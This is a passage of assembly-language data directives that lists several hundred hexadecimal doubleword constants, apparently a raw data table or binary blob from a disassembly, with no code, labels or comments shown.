		dd 407F4D98h, 3087A4Eh,	0D1B465DBh, 14E4FBBh, 31FFE510h
		dd 138C2274h, 1823B0D5h, 0FFBE034h, 655C00AAh, 6AED040Eh
		dd 0E30044C3h, 97A18FD0h, 94866Dh, 9EFC2363h, 0A637A04Eh
		dd 351008C0h, 0E85258Ah, 6229570Dh, 12A96441h, 0B7A4F8E6h
		dd 6EEF5900h, 0D70F3F6h, 7CDF4FCh, 0AB8F12DFh, 4E4850B6h
		dd 0A36036F1h, 61277F51h, 0F22903ACh, 1A201304h, 219A0830h
		dd 1C612B62h, 0BFBBC3D3h, 22875C8Eh, 0AD4E4A20h, 29C1A079h
		dd 0CE3DD2Ch, 0CC29D89Fh, 0C8985F19h, 9F206060h, 54E7EAh
		dd 0BD935CD3h, 8225E4C7h, 996A7800h, 0F0056DC9h, 3AA40295h
		dd 4EB961ADh, 578E1AC0h, 0A0B6A601h, 9F0DC81Fh,	59F07089h
		dd 5C011AF6h, 648FA43Ah, 98EB0895h, 9B51CD00h, 981A3210h
		dd 17A5E60Eh, 28036073h, 0C00EA7E5h, 7A391FA8h,	0D73E589Dh
		dd 0F360512Bh, 69F829C8h, 1050EDF5h, 1B0F4A4Eh,	11A47655h
		dd 0F3E3A980h, 84A32701h, 82D31F5Ah, 0C00EF9D0h, 0E1C0E620h
		dd 0A600CD99h, 6C7A91B8h, 797EE90h, 0B2A513F7h,	65ED3015h
		dd 0A4A8A2CEh, 5B18D79Fh, 0F9F8A13Ah, 0AC8801DDh, 49DA8F50h
		dd 2958890Fh, 0B533001Dh, 0A5CA9BBh, 508D6207h,	22F71EB8h
		dd 6653370Ch, 394A4899h, 0DD08D693h, 6421709Dh,	8618F451h
		dd 0C016C72Ah, 0FA00317Ah, 0E3334D9Ah, 304F5610h, 0DA31F379h
		dd 9D00747Dh, 0D0C770D5h, 0D913Fh, 386E60D3h, 0BB282673h
		dd 960ACE90h, 84B1F91Dh, 366A4F00h, 5A0809Bh, 63DD2909h
		dd 19C84008h, 0A5025FCBh, 0C4912B28h, 0AC025246h, 0AB27F2E3h
		dd 0E1480332h, 0C2DC90C3h, 902652F9h, 6A5BD504h, 0A435057Fh
		dd 0A0F8C023h, 0C35AC6C2h, 543E2E11h, 0F314D990h, 0E4CDA20Eh
		dd 21328CF2h, 5436001Ch, 86CAD847h, 5602CB39h, 0A0F7B7DAh
		dd 3D2490C1h, 0D93F1154h, 8131881Ch, 0D554351Bh, 3305CC9Ah
		dd 5B87D305h, 0BC302C5Fh, 1C700F09h, 94340A2Fh,	0E506AE0Bh
		dd 0C8887623h, 0A93722h, 18B38A2Bh, 0EC63534Ah,	0ADDE0209h
		dd 5D8128Dh, 0A040A6D8h, 538C8EC4h, 4A7F267Bh, 98465E10h
		dd 233DE639h, 75C71106h, 0F50059B0h, 0D757DBF1h, 42BFF4h
		dd 7683ADC3h, 0FC69E125h, 0AE411F3Ch, 0A0019F2Ah, 6FC253D7h
		dd 0F829F822h, 186979A0h, 1F4A01E6h, 63E28951h,	9D4C3018h
		dd 5C8E4212h, 0C04F1C08h, 2725E1C7h, 9182D321h,	0BEE000F6h
		dd 103C05E1h, 0D0CB078Fh, 20FCFD97h, 0FE94A4FBh, 3A7FBD00h
		dd 0D5A54F21h, 0A26E307Bh, 62C6C0C0h, 8E0499C0h, 7B9A59EAh
		dd 31CB0319h, 94467EDAh, 2C4095C2h, 0CC98F4A4h,	0FCC45085h
		dd 30491160h, 81B45138h, 27651FA6h, 6208562h, 5991FD12h
		dd 0E1C68050h, 0A5BB2728h, 0BDDF007Ch, 0FB0D21E1h, 4BCD2909h
		dd 5E3480FCh, 0EE22816Bh, 31152C0Fh, 0A6948030h, 2B0BDFE9h
		dd 0B6F06A0Ch, 483679AEh, 0F4C02437h, 0A29A961h, 6593448Ch
		dd 2442C40h, 37C26ED1h,	443B44Fh, 5CFCD8E4h, 963E9B08h
		dd 2104C634h, 9B54D200h, 5250FE1h, 0A72C98A6h, 606C4424h
		dd 0EAED5007h, 0FA1CE94h, 80C15285h, 0CD34BF0Ah, 0E924C800h
		dd 18A01C61h, 2B5E03E6h, 0AA15C92Ah, 54764839h,	8E033BB8h
		dd 0FAB558CDh, 0C39023A4h, 5D543B01h, 68184CD9h, 331988h
		dd 0D3E59854h, 0C20BC611h, 0DCFD8F1Dh, 9E30C0E8h, 266328A5h
		dd 6084AACAh, 0C1077D30h, 6A7BD720h, 0B0A4679Ah, 12BD2C6h
		dd 3046F144h, 0E08E6AF7h, 3418227Eh, 45A84DA0h,	60F7E94h
		dd 93ADA7A9h, 2A0919F5h, 1F4ABCDh, 0DC4A2120h, 1B1043D6h
		dd 69C424B0h, 1299823h,	963B9B5Bh, 0C008184Ch, 9B53D321h
		dd 2705668Eh, 0B379551h, 103CD454h, 28C036F2h, 2A27C561h
		dd 0FB99458Ch, 0A27E20CFh, 0B2018555h, 4A07DE36h, 0A0206BFDh
		dd 8BB13A88h, 9228D85Dh, 0AA49160h, 0A1D403C8h,	1931D1ECh
		dd 1130D0h, 0DC44AAF7h,	0EFF9C88Dh, 0D8803C91h,	91C5A152h
		dd 5CED00F4h, 0C26B8822h, 5CC36C95h, 0A89F42CBh, 1323973Eh
		dd 2263D42Bh, 0A047A0ECh, 6C600144h, 8B000EC7h,	1104805Dh
		dd 901D7A34h, 907C905Fh, 743173DCh, 9DF416EEh, 4C1253h
		dd 44E1CE68h, 3CA5B9E2h, 6407C4h, 45178BDh, 7BE840ADh
		dd 1FD00A59h, 4E40DFB2h, 0BED146AEh, 8C0901E2h,	0DA8E1364h
		dd 238C7130h, 30F8B2A0h, 7E0071B8h, 7C46CEABh, 0B555EB3h
		dd 0CBEC9F21h, 0A01D40A9h, 6E82FC11h, 0DFC023B3h, 15027FE8h
		dd 914A2A7Eh, 402C4259h, 60267B40h, 10AFE071h, 1F2C29FCh
		dd 0A360CC50h, 20853464h, 0A8917EEAh, 0D0189971h, 0FF660201h
		dd 0C7308F40h, 1E3450D6h, 9280DDF9h, 23983A0Fh,	17450194h
		dd 601D5D5Fh, 0DE406F10h
		dd 0EC490546h, 2EA0C57Ch, 9A2358h, 3D8D3E86h, 4D00D766h
		dd 98DEB191h, 193132E8h, 5847565Fh, 0BF31835h, 0D229B061h
		dd 11902C1Ch, 0C7EC6109h, 47BC206Ah, 21CAB1h, 5F7E294h
		dd 789DA2BBh, 0B249201Ch, 82E38541h, 0EC235BFAh, 3700BF23h
		dd 0ECD95954h, 500894F2h, 5300EF0Dh, 0FD061C21h, 2D0FCCFh
		dd 5B41012Ch, 0F881A6BEh, 289B2B28h, 8CFBBC64h,	230089E6h
		dd 0A7E52405h, 303CFCF5h, 6CF1A837h, 9A00CF31h,	34303647h
		dd 5D1938Fh, 0D3CD2BAAh, 5FD405EFh, 0BD449237h,	16543930h
		dd 383CD95Bh, 0F1000F8Ch, 3BE78D53h, 0A4ED2BAFh, 9CAD7BFCh
		dd 952A8250h, 9C4004C3h, 0B725B13Fh, 9138976Fh,	5D5787FBh
		dd 48999210h, 1E5107A6h, 0CCC7BECAh, 7D008D91h,	82E9AF89h
		dd 1A424DFh, 0A68BA92Fh, 0C0CE8E46h, 3E00BF2Dh,	2184D0C8h
		dd 14963F04h, 0F5AD3A9Ch, 92564E05h, 3AC81273h,	7062358h
		dd 0A1A95B9Ch, 0C817D951h, 6E404223h, 75151709h, 0F0904012h
		dd 90F10B05h, 0E3450F02h, 843032D2h, 3860C0C0h,	0D9105854h
		dd 6AC8F2E4h, 53F00E80h, 7527A80h, 215F3FCBh, 0F491E9F6h
		dd 0B581820h, 54963A9Bh, 0CE01A01Ch, 98359B50h,	0F9CCB9FFh
		dd 5AA51AF4h, 88372111h, 8275F780h, 11DBBBAh, 211FFBF3h
		dd 0FC2C8A83h, 0C81290B8h, 30CB4914h, 31C19788h, 2C61B21Bh
		dd 0F4581DCh, 53E2C228h, 5B889EAh, 8BF7D6F5h, 0C065C8C0h
		dd 84BE17Fh, 11435D02h,	61510D62h, 43857D0h, 388C68BCh
		dd 0AC8F4023h, 9661B7F9h, 200118F5h, 0B87B3704h, 0A1F2625h
		dd 4674000Ch, 5A00736Bh, 0B0DE7159h, 4A9D87AEh,	4E0000C5h
		dd 0A86411Fh, 0CCD40C26h, 14F55308h, 4AA621h, 0D9BD83B8h
		dd 0DC2C8F45h, 0C7929CAAh, 0D346A091h, 0B3AE130h, 0F2669D75h
		dd 0C641D200h, 8015A23h, 0A9F99A78h, 93CC2CB2h,	59E10222h
		dd 4DC194ADh, 0EF46C0E4h, 0C6612502h, 0F09C2227h, 61216000h
		dd 249C1E33h, 4F54989Ah, 9DC407DFh, 0A0657583h,	42886124h
		dd 69560002h, 0DEEB11ADh, 0A8F27745h, 0E8A8274Ch, 0A4008CF7h
		dd 0AF4912B2h, 7FF57C3Fh, 61D8A840h, 1DA024B5h,	9B57C384h
		dd 186C96E9h, 4FCF8802h, 8E059B00h, 8A534B01h, 1B509092h
		dd 0C05672CBh, 0EE9DCE8h, 467628B4h, 1C0F00F7h,	0CA8C5E4Bh
		dd 0BCCB137h, 61001B5Fh, 3C0C6401h, 9700E077h, 63B4EFF7h
		dd 0F2D34DB6h, 0D99F09D1h, 0C03E483h, 0B90617C7h, 538F3DDh
		dd 60D716F8h, 29500127h, 5057C947h, 8C7053BCh, 0CFA5Ch
		dd 7A69800Ah, 1F92558h,	6BA515A8h, 203DF121h, 3B8CBE6Ch
		dd 0D996543Ah, 0CB2C3934h, 2BB853BBh, 0F8E2F3F6h, 8850A56Ch
		dd 5C5896B5h, 979F0121h, 0ED750011h, 4B254A1Fh,	0CF522090h
		dd 0DD908C0h, 6229050Fh, 9E54B009h, 8C23DC2Ah, 1856CC81h
		dd 0EEE30BB0h, 30458B27h, 0E1C7E580h, 295FD56h,	0FBFF2D25h
		dd 30CE53A4h, 46567094h, 13037202h, 5B5EFC57h, 2A76E0D5h
		dd 3A50D272h, 20323F8h,	0DDB860DCh, 0D146EC83h,	0DB664DD8h
		dd 86025B1Ah, 0DA900358h, 6ED94FDCh, 80A107B4h,	1889136h
		dd 79050AFEh, 0A08828E8h, 30A2520Bh, 46C91F75h,	13176849h
		dd 0F43A302Ch, 95019A23h, 0AE92B98h, 42A3E0h, 49EDB68Eh
		dd 29FC74A9h, 87461D18h, 2C639F64h, 94A0D423h, 2E005837h
		dd 0E3BD3ADDh, 0D51E70B5h, 3071F34h, 403FE05Ch,	7B9D377Ch
		dd 0C0A2121Dh, 0D2980EFAh, 43227A0h, 0C1242596h, 133F00FEh
		dd 7082E39Dh, 79887910h, 0E4189Bh, 0AA0EFECDh, 4A8F5174h
		dd 4FDD2909h, 98908307h, 433DC3B4h, 0FCE2D830h,	56F0CE31h
		dd 14F400AEh, 29056603h, 0C964A53h, 9A465Ch, 64ECCBB3h
		dd 70FCA1FAh, 402C5E3Ch, 95CFD7A0h, 35ECA4B0h, 4674F0B4h
		dd 42450067h, 0BA688148h, 0A9220761h, 48E42FD9h, 0C5835191h
		dd 0C38A27E1h, 0E260D459h, 14E1BCh, 0D05F28B1h,	22570763h
		dd 0A592AD18h, 0F0D9FDD9h, 0FA4205D7h, 359F122Dh, 23502EE8h
		dd 0FA250095h, 0B77C4611h, 0E42BD824h, 8D14BC28h, 0E8E059E4h
		dd 1C058CF6h, 5FC7D994h, 0D83D9440h, 14691Eh, 36151897h
		dd 0C6397E17h, 22883A00h, 0DEFC1DC5h, 5424255Eh, 746D2012h
		dd 56020F67h, 0D07562E3h, 0FD7B397Ch, 2C80EBA4h, 65467470h
		dd 512E4B01h, 5137E8C1h, 50A3C594h, 0B649AD88h,	272DC8E8h
		dd 0CDFCA0C9h, 7EEFD717h, 281E0083h, 0FBBB95E6h, 0C2B0B80Bh
		dd 1991E102h, 87292B87h, 94425EA4h, 8E58E8F8h, 0DE007CCh
		dd 0C62795BDh, 221619F0h, 144158DBh, 8E73A9A2h,	8C720871h
		dd 2C3105E2h, 0B075DCCh, 0F3067409h, 60613C02h,	37952801h
		dd 9E840C2h, 6DC91D55h,	0F79F4996h, 6AC44045h, 53E2B460h
		dd 0C8801E28h, 5BF5953Eh, 0B55F0445h, 8281449Bh, 49832A8Dh
		dd 0FD95F0C4h, 0F4F9F828h, 0D673D513h, 243A64C5h, 0C19EEB10h
		dd 0BDC12E60h, 0B12A6AD9h, 8D54F00Ch, 257A4006h, 0C008B9h
		dd 8498B6CDh, 0C97F4982h, 0AF80E4BEh, 7C31DF13h, 0A53622EFh
		dd 30C9500Eh, 2C63C5F5h, 0AA1FE45Fh, 0C9A9764Ch, 0ACC50067h
		dd 9DD4CF2Bh, 0B524B8B9h, 0C8325C3Fh, 9B56301Eh, 64963812h
		dd 0D03980CBh, 0B32F9B80h, 5901F903h, 0E993F802h, 4029DFF0h
		dd 45E28EECh, 0BC63AEh,	0CF0EFBBCh, 1D72DD4Ch, 432D2713h
		dd 5C8E3449h, 28994AB9h, 0EC72180h, 8020CF98h, 7F700862h
		dd 4A411303h, 0FAF757Ch, 74D4C261h, 0E471E900h,	0CA000734h
		dd 36991146h, 263DD2A1h, 7698E094h, 0E401F646h,	0D68DE02Ch
		dd 0D439A8A1h, 8DD9E30h, 90301DB0h, 1C2B4634h, 968B9B3Dh
		dd 0DC9C3Ch, 0CB9B55D1h, 0C85D6FC4h, 10FF49h, 0DD47D532h
		dd 71542h, 0CBB07051h, 9FE26A3Ch, 1EF5E93Fh, 32811482h
		dd 0D96227F4h, 0C7867C7Ch, 0C1006115h, 256F5157h, 9A94879h
		dd 4ACD0FB8h, 999C8C0h,	454B68BEh, 606BE4E4h, 18A9025h
		dd 7F971FDCh, 7C6CDE69h, 84B2D288h, 4A587B00h, 26C1C608h
		dd 71506300h, 0F0934CEBh, 0EFE40942h, 0C4513D9Dh, 38189479h
		dd 2653780Bh, 0B634419Ah, 2C8C44Bh, 0BFD4D4C7h,	73B224C1h
		dd 1C90C00h, 6C2DA85Fh,	9300C1F9h, 1D2507A9h, 7BBC1CD3h
		dd 0A70E40DCh, 5D4051FCh, 23B5102Ah, 0B48A96F6h, 56C0F7C8h
		dd 54B5BFFh, 2BB0D5D2h,	254CF386h, 0B260A1C8h, 52E4A5BBh
		dd 0FBD80EB6h, 0D962FC9Ah, 84CD235Eh, 0F0600344h, 0F5B021DCh
		dd 7CDC2E48h, 4522F918h, 2798D779h, 903DFD37h, 49D1BC80h
		dd 0B29EA39h, 0A9E0CB95h, 712E48E0h, 3046AD43h,	30D23B7h
		dd 0D14626C8h, 568D6504h, 9CD54479h, 0B5E154A6h, 0B04CF4E6h
		dd 89013801h, 2BAF14F6h, 0C2E2F3F1h, 60205E78h,	201FFC40h
		dd 6C908029h, 88D49F10h, 178C95B8h, 134010Dh, 7BE4B31Ch
		dd 48186892h, 8C04E8F0h, 210CBD03h, 40A9D3Bh, 0DD4A2C18h
		dd 4564806Ch, 0F496B9E2h, 9EEB215Eh, 0DF450180h, 0B73E0Fh
		dd 0B8CD9048h, 3A235940h, 0F925E4B2h, 1FA42026h, 24B6AE39h
		dd 1734A49Ah, 88548FC3h, 26D8C068h, 2D7881A9h, 15161A7Ch
		dd 0EC0BF785h, 0DE2C4876h, 7A030A9Dh, 5DF2838h,	408E3730h
		dd 0EB679AB4h, 68004505h, 0B273D2BEh, 1594BF4Bh, 8413C780h
		dd 480EDC3Eh, 20E0DE7Dh, 2658DFADh, 50B03D03h, 0A1BEF21Eh
		dd 70C03FEEh, 94B175h, 6B018BA7h, 0DAF8F01Ch, 30A67700h
		dd 56C6BB74h, 490F005Fh, 0D9CFA37h, 76FD2659h, 0AC0F7D0h
		dd 14CE6F4h, 0FA964F5h
		dd 5EC14Ah, 0A7A1B0C8h,	6066C4B0h, 17AD674h, 9AE35170h
		dd 687CF3EDh, 0A0BE1230h, 0E1E094A6h, 0C30210E3h, 9527FCE2h
		dd 505697h, 8C21A0C6h, 7000BE88h, 0BD411F1Ah, 70EED3D4h
		dd 61AD00C2h, 47565EB8h, 2F35D989h, 0FCA23818h,	0E2BCB001h
		dd 2AA88E23h, 9B2B4C05h, 305B18F1h, 60EE40DFh, 0C5D7E272h
		dd 80D0385Ch, 2025FB82h, 408C38C7h, 0B8A32B2Fh,	46E829FCh
		dd 170BC187h, 6A0814F4h, 11981DA0h, 0C6498008h,	33B1813Bh
		dd 9F811EF9h, 82EB27A8h, 67C46CA5h, 0D4CF0B60h,	0CC65C702h
		dd 842B3E87h, 9D050EC4h, 20808963h, 48CF05Ch, 27C76126h
		dd 0B0DCA81Ah, 611E5Fh,	7E412B5Dh, 270F02E3h, 62618279h
		dd 0BBEC9E50h, 2F5ABC7Ch, 2F52320h, 0B577ACAh, 21B24040h
		dd 0CCE7AC02h, 46A7C96Fh, 0EC47024h, 0CF8FADDCh, 3538B815h
		dd 1FA02729h, 0D862CBF4h, 6AE4BCC5h, 5BD79C60h,	3494D224h
		dd 59B1661Ch, 298064C8h, 6BAA0D2Fh, 910037D0h, 0BFA2D955h
		dd 32906E9h, 5B3ABC54h,	40049536h, 4A59C84Fh, 0FBAC6CF9h
		dd 0A6494600h, 41922765h, 0A1E89A36h, 6429B640h, 0E0042ACh
		dd 7C46BC23h, 2F5BE2B9h, 549A87F6h, 69598C59h, 0F8009418h
		dd 417F211Fh, 9556DC71h, 0D500E037h, 2BB11859h,	822A1288h
		dd 8A988081h, 9874ADA6h, 0E3E8A097h, 0A9A76797h, 53DC20CCh
		dd 36132FD3h, 0DC852882h, 0B04524F8h, 0FB9EF087h, 8BBC512Ch
		dd 0D0042E62h, 0A22510BFh, 30FAB2ACh, 1D00A568h, 0A95BBCBDh
		dd 1E138F46h, 17CD2B58h, 3C14DD08h, 8C97BCB4h, 2DB93104h
		dd 0E481A9CFh, 0B020DB93h, 91EEE139h, 746D75C4h, 70E87100h
		dd 0A6300AEBh, 0CF308BEEh, 3229FA8Fh, 0A3F90021h, 540956C3h
		dd 33524E4Ah, 61F10248h, 5C0229AAh, 2D645858h, 0C9656108h
		dd 664D8058h, 0D2B967C2h, 8D93A403h, 3B894A29h,	0A8277CF1h
		dd 9EDB0068h, 46766494h, 0D4A80707h, 0FCF1DF02h, 216A3CC7h
		dd 17E6A48h, 6026E095h,	2C7698F0h, 0A62B5413h, 0F8C83C8Bh
		dd 3C1219C0h, 2966017Eh, 7BDCE70Ch, 0D3002005h,	4A345F12h
		dd 13E0D4F6h, 9D000506h, 6119AF65h, 94F293Eh, 0EDEBB189h
		dd 24C7040Bh, 1F0EEC89h, 89F6116Ch, 731582F7h, 0A59042C9h
		dd 1C999364h, 0C8C11C5Ah, 623B9171h, 0CD2AC144h, 0D0A8F97Bh
		dd 3FDD2198h, 1D4AC2Eh,	2A542EC6h, 0AC633D92h, 85BA7048h
		dd 0AE7B3910h, 0EAFD40A4h, 0A51503A4h, 0A30A23D5h, 2B661875h
		dd 18A81190h, 618F3897h, 0C90051CEh, 0D930B70Ch, 0FC079ACAh
		dd 81E902B0h, 38F3DE65h, 63003CD0h, 0FC3F0C5Dh,	4C0A391Fh
		dd 0AD10E095h, 0FBB80E56h, 0D57CE35Dh, 24EDC453h, 2A812B01h
		dd 0AD686D7Ah, 1E43728h, 0C8EE4C42h, 4FB824FBh,	0F24D5401h
		dd 822944F0h, 6CD03B71h, 5BEDEE49h, 3EF880B7h, 6F2CD850h
		dd 95052B59h, 0C812F807h, 0F4C8B08Bh, 9363B0C7h, 80F14BD9h
		dd 28C5492Ch, 8E085D0Ah, 0AD0918D7h, 0C8D84994h, 86002C32h
		dd 7F0B91D5h, 29EAD89Ch, 5540989Eh, 13057A2h, 0D233C3DBh
		dd 23E38B4Dh, 30FAA2B0h, 67010ADBh, 4893D5B5h, 246DD88Fh
		dd 0D68E4602h, 2859393Bh, 4FAD013Ch, 4C3CE41Ah,	0FD44720h
		dd 0EA1BAAA5h, 0F3B149A0h, 0B76B66C7h, 708B730h, 302B5AF3h
		dd 91595DAh, 0BF4090B6h, 50AFDD27h, 7C3ECCD9h, 8F4E4F1Ch
		dd 0C03288F0h, 0C4DA4442h, 0B5120190h, 0C4E031E3h, 148E7AC2h
		dd 0E038C56Ah, 87DD2C04h, 0B284F3F7h, 0F42E30F8h, 9E998E3Fh
		dd 0FF80B130h, 0CD3EBEEAh, 30019F96h, 85023A5Eh, 0A12597C8h
		dd 9F7864ACh, 0EC08C09Dh, 7576F9Eh, 909319h, 9594EBDBh
		dd 23E4B102h, 5663CD4Ch, 1467454h, 0AD9EFE00h, 0D62270Bh
		dd 22905C50h, 0C0A38E04h, 0C4A45DC7h, 0BD3C01F4h, 36F39063h
		dd 0EC87E01Ah, 0E72DE6F8h, 0BEAC6423h, 96465664h, 0D632B500h
		dd 0D9DEB0F8h, 7CFD3578h, 8C31BC68h, 0CCB5C101h, 403C3481h
		dd 19FBABC0h, 71AA91ADh, 1C6479C8h, 75099E16h, 45000901h
		dd 609AE41Ch, 3A8E8828h, 0F40BE4B4h, 6C6C0FE0h,	91CC9595h
		dd 62248569h, 0CAD3ECADh, 0C093C830h, 0E79529CAh, 3D4C64F9h
		dd 91309795h, 0A20A8295h, 4D94C011h, 8F45805Ch,	0C9566505h
		dd 50B2A5FCh, 6CB9CC4h,	719B275h, 86DB3830h, 9B0B2055h
		dd 50001992h, 9CF37E31h, 0B58DDF6Fh, 4A20B09Ch,	5E0C94A1h
		dd 3F000646h, 8D0C48C8h, 4981CD8h, 4FCA2100h, 0D0B27C46h
		dd 446B00C6h, 1D7BF618h, 9CB0A0B1h, 6CD13C91h, 69057D18h
		dd 4DC38E73h, 188B8852h, 74C032C8h, 46F66h, 9A62DC4Bh
		dd 0F9B95786h, 59892332h, 0AFE4601Fh, 0A9483EEAh, 35C8950Bh
		dd 0D3748464h, 0F4A09Eh, 26A567B9h, 222BD8FFh, 0F96881BDh
		dd 29963A2Ah, 8598A476h, 530A5D04h, 408838C6h, 4AF6005Fh
		dd 3C636EEEh, 9400DE33h, 61ED6A07h, 15EB5BBh, 3FA9AEC3h
		dd 730F7F79h, 30F8E2E8h, 0C0028857h, 6229ABDAh,	29D87045h
		dd 2988DCE6h, 0FAC7094Ch, 0D3EFA4A0h, 95006B72h, 3DF630D8h
		dd 60D52181h, 2220B4DCh, 5D045F46h, 0EF79414Dh,	542338A2h
		dd 0F4E3AA01h, 2D3B9B27h, 0E1C1F81Ch, 354FC0Fh,	9028EA6h
		dd 6C6529h, 91A6501Eh, 0A00447Fh, 2D669320h, 2CA417A8h
		dd 8636D9h, 92650633h, 0D0B682C8h, 3B952860h, 90F09014h
		dd 0A0017C18h, 32C9A880h, 0C8180D97h, 623C08DAh, 0BE587ECCh
		dd 0EF1F11B8h, 53838E00h, 0ED9F099Dh, 0D305F8B0h, 931A2BE2h
		dd 0F04648A0h, 0D12CB1B9h, 47D01905h, 93280046h, 961990DEh
		dd 6315A44Dh, 0C8C224h,	2C33CE8Fh, 194F5304h, 78981A76h
		dd 2B252027h, 0B01DE891h, 19CA818Eh, 0F7442011h, 0DC71E780h
		dd 14AA02FDh, 697E07E9h, 50AE4F60h, 509BDE4Fh, 3AC40180h
		dd 1C0EF227h, 612F9350h, 0A134C7BCh, 1F0B9869h,	1C9D4DF0h
		dd 0C28FF411h, 0D1F13880h, 0C600B7BEh, 655046FDh, 58349839h
		dd 67E87C31h, 4F54048Ch, 0C39547D3h, 0D9F015B0h, 80B5DAB3h
		dd 85D86218h, 9F112659h, 3467CA8h, 2B68DF0Eh, 0FD620182h
		dd 75E0B848h, 0E228A352h, 91273007h, 4F58A50Bh,	0B0406048h
		dd 3FBF00F3h, 53E2D6DCh, 24968D96h, 0CE772100h,	10D95065h
		dd 0BC48F2FCh, 0A4008C96h, 97BAF16Dh, 4F02791Dh, 6A1C99FCh
		dd 4CE2434h, 2FC06788h,	9563F48h, 4C93DA8Eh, 90AD1402h
		dd 0C85CACC4h, 772383A8h, 85809D6Dh, 1EBB9B32h,	0D9D675h
		dd 7BAE0F61h, 73FD334Fh, 3067A224h, 8E01D5E8h, 8CDF4808h
		dd 0F0207C72h, 1FFA5F8Dh, 99CB8B6Ch, 92F84458h,	0A2A1BCF5h
		dd 7090955Bh, 90026F50h, 58CDB186h, 841DE02Eh, 0BDA7024Ch
		dd 542941FBh, 465E207Ch, 4D0B7C94h, 6214C891h, 0C08CED00h
		dd 0BAD274F1h, 1825D38h, 0BB7C1BDFh, 5C33B842h,	213004A2h
		dd 5E6494C7h, 0D7009B46h, 0C6B55AEAh, 0BE16836Ah, 0F4828BB0h
		dd 40902B9Eh, 0D826FB5Fh, 181AB501h, 0F14C8781h, 0CF4480EBh
		dd 2F280F5Fh, 8E213B5h,	0B89324D4h, 0B72DD0A2h,	8B2B0080h
		dd 0B09A4F95h, 548F795Bh, 309EEB84h, 13902ABCh,	0BFFC772Ch
		dd 8F6CC200h, 9509D1CBh, 53D75810h, 800065Eh, 0F002FCC5h
		dd 43651C29h, 4EF60261h, 34F0E2DEh, 1A24F911h, 80C49B5Ah
		dd 8F304380h, 0B7950B2Bh, 0A851AA11h, 5E3E2682h, 0BB8D80B6h
		dd 67C80F93h, 0F463411Ch, 85A4E811h, 78A8A680h,	1C8C02FCh
		dd 8924E370h, 74E23E5Bh, 0B400A859h, 8032FECEh,	0FD0D3B40h
		dd 65BCEF01h, 6829167Eh
		dd 494605C8h, 0EC815D6Ch, 0A4303925h, 337A12D6h, 0F244F29Fh
		dd 2A053093h, 9088E48h,	905BD0B9h, 0A8A74068h, 952923C0h
		dd 67C4B867h, 0AC961560h, 0FA26BA05h, 0E0A81808h, 691901AAh
		dd 0CA862BB1h, 0A903843Dh, 0ACE5EAC4h, 0F6569BA8h, 183A1E2Dh
		dd 0C93FACh, 13A35B1Fh,	6AD59229h, 0BFC4080h, 4F51D35Eh
		dd 8F00DC51h, 6BAD7CBEh, 2FDE5B83h, 0FB2384h, 2AE386BFh
		dd 0FF01F5BAh, 0FC6B835Bh, 8C683CFBh, 51AD7518h, 0CC00717Ah
		dd 7FAF98ACh, 7CE47CDh,	0F505DEC8h, 0B1938529h,	0F2287270h
		dd 30F331FAh, 0E917236Bh, 0E300D978h, 0D78DC8CAh, 0F5951399h
		dd 9AACD290h, 0D24050F6h, 0E795A71h, 6707F485h,	0A873E9E4h
		dd 6A27043Ch, 78EC5701h, 0A6006222h, 14063C9Bh,	1CA7D8h
		dd 8F6AB567h, 29AA9893h, 1575F3EEh, 44F06795h, 0ED6C60F7h
		dd 62990693h, 0A99235E7h, 165C9280h, 4CC00803h,	0AB24E0A8h
		dd 302A849h, 0DF3A0393h, 2EBD63A1h, 542AB01Fh, 0F379E8E9h
		dd 0CB00B218h, 0A0860137h, 0B6C9A109h, 4E2980D4h, 50FB9446h
		dd 4659CB2Dh, 601CADF4h, 4C2E7148h, 2D81970Ah, 0B202B2DCh
		dd 0D449532Bh, 3700D63Ch, 0D146380Ch, 12040695h, 40142B5Fh
		dd 8AF5F99Ch, 483E5045h, 992122Ch, 518EACA0h, 606FC0E4h
		dd 5575233Ch, 7EF27007h, 37002C01h, 223B59h, 6A259D1Bh
		dd 0BEFCEAEBh, 98E34400h, 0A13AA497h, 47D4F4Bh,	0A64E4904h
		dd 0D7FAE0B0h, 6F2D025Dh, 0E48DC1A4h, 29122872h, 0F0F0D94Ah
		dd 9454983Eh, 8900DC3Ch, 0AC3179A8h, 0B69CD9FBh, 0D3610F7Ch
		dd 95472561h, 0DA9461FAh, 52DDA098h, 0A54F2409h, 34D84876h
		dd 0A3830087h, 0FEC943BDh, 3F79BCB8h, 0D1C86F00h, 57B93D4Dh
		dd 0BF3001EFh, 0EC5DFC50h, 37DB603Bh, 6CAC49h, 1ACFB10Ah
		dd 0FAE6C695h, 5C4DF476h, 0DD044Ch, 33DDD118h, 5A12B03Dh
		dd 50F8F026h, 0A0E1CF27h, 3CD714A8h, 7218E470h,	9292AFCh
		dd 7837B794h, 95DA10Eh,	0C5480B89h, 6096E480h, 90570BDh
		dd 2ADFB139h, 0D705ECF3h, 9090D65Bh, 3EBE1D7Bh,	4059F985h
		dd 110070BCh, 0FCD651C7h, 789DF91Dh, 5CFE5DAAh,	1BE32901h
		dd 3099AC20h, 6400EF8Bh, 0E037C9Ch, 27E4CBB1h, 0D4CD4F6Bh
		dd 0C5600344h, 0AF5AC7FAh, 95E97C39h, 4029EE00h, 0AA6F2100h
		dd 3F55D518h, 7170B48Eh, 0E00B0DADh, 0CECE0588h, 0EEA7C099h
		dd 0BE08F9E9h, 8B7D4190h, 0E8C5C993h, 0F703D697h, 0DEA48599h
		dd 0A960E78Dh, 4CC7B52Bh, 9C167CFDh, 0F35C848Fh, 3069B21Ch
		dd 97AA7Bh, 1E555EC0h, 4CE095ABh, 22804E23h, 0B40B7395h
		dd 45314454h, 0A440B175h, 0CD92612Eh, 0CFB03EC6h, 4066B681h
		dd 0C4140A2Bh, 0CB58B5E2h, 94396731h, 45217071h, 4F8DA470h
		dd 8ACC8C89h, 0C0C3C927h, 0F99EC7DCh, 388B44Fh,	0F644ABC2h
		dd 35EB40CCh, 0B03EEBFh, 3027E213h, 0A8A9CCE4h,	0F5D92F00h
		dd 0B6537B44h, 78EF1700h, 0BDE574DBh, 255109B3h, 14049345h
		dd 0EC24F94Eh, 0E8B4001Dh, 4CC86A4Ah, 304BFD7Ch, 13E170F0h
		dd 0E393367Bh, 3002B2BCh, 1A099515h, 0E1E253E3h, 14688FC8h
		dd 9E18BE9Eh, 2D9718ACh, 78A27931h, 58C62CFCh, 0E64D4444h
		dd 4EF99E40h, 0FC7C402Ah, 826D511Fh, 24202FF9h,	0E00D8F4Fh
		dd 271E1F5Bh, 58456F13h, 58616BE4h, 0C93BD815h,	0F4C5059h
		dd 58E62BD5h, 0B8DCFC9h, 0BE8032ABh, 3D13C71h, 513FF618h
